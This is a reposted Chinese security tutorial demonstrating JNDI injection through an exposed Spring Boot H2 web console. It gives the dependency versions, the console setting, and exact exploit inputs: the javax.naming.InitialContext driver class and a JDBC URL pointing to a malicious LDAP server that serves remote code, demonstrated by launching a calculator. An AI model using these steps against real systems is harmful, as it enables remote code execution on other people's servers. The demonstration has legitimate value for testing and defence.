转载

Spring Boot + H2数据库JNDI注入

  • 在Spring Boot中使用 H2数据库,pom.xml引入依赖

dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-data-jpa</artifactId>
    <version>2.2.6.RELEASE</version>
</dependency>

<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <scope>runtime</scope>
    <version>1.4.199</version>
</dependency>
  • 默认情况下 application.properties 文件中不存在以下配置

   spring.h2.console.enabled=true
  • 直接访问抛出异常

Spring Boot + H2数据库JNDI注入

  • 如果存在以上配置,可以直接访问 http://127.0.0.1:8080/h2-console

Spring Boot + H2数据库JNDI注入

注意: 这里的配置可以自定义

  • Setting Name: Generic JNDI Data Source (名称随意)

  • Driver Class: javax.naming.InitialContext (JDK自带也不用考虑额外的驱动)

  • JDBC URL: ldap://127.0.0.1:1389/bwvyqg (恶意LDAP Server)

  • 由于是匿名的,User Name和Password均为空

  • 点击"Save"保存,然后 点击 "Connect ",会加载远程CodeBase的 恶意类并执行, 计算器弹出。

  • 最终演示如下:

Spring Boot + H2数据库JNDI注入

原文  http://wiki.ioin.in/url/G7NN
正文到此结束
Loading...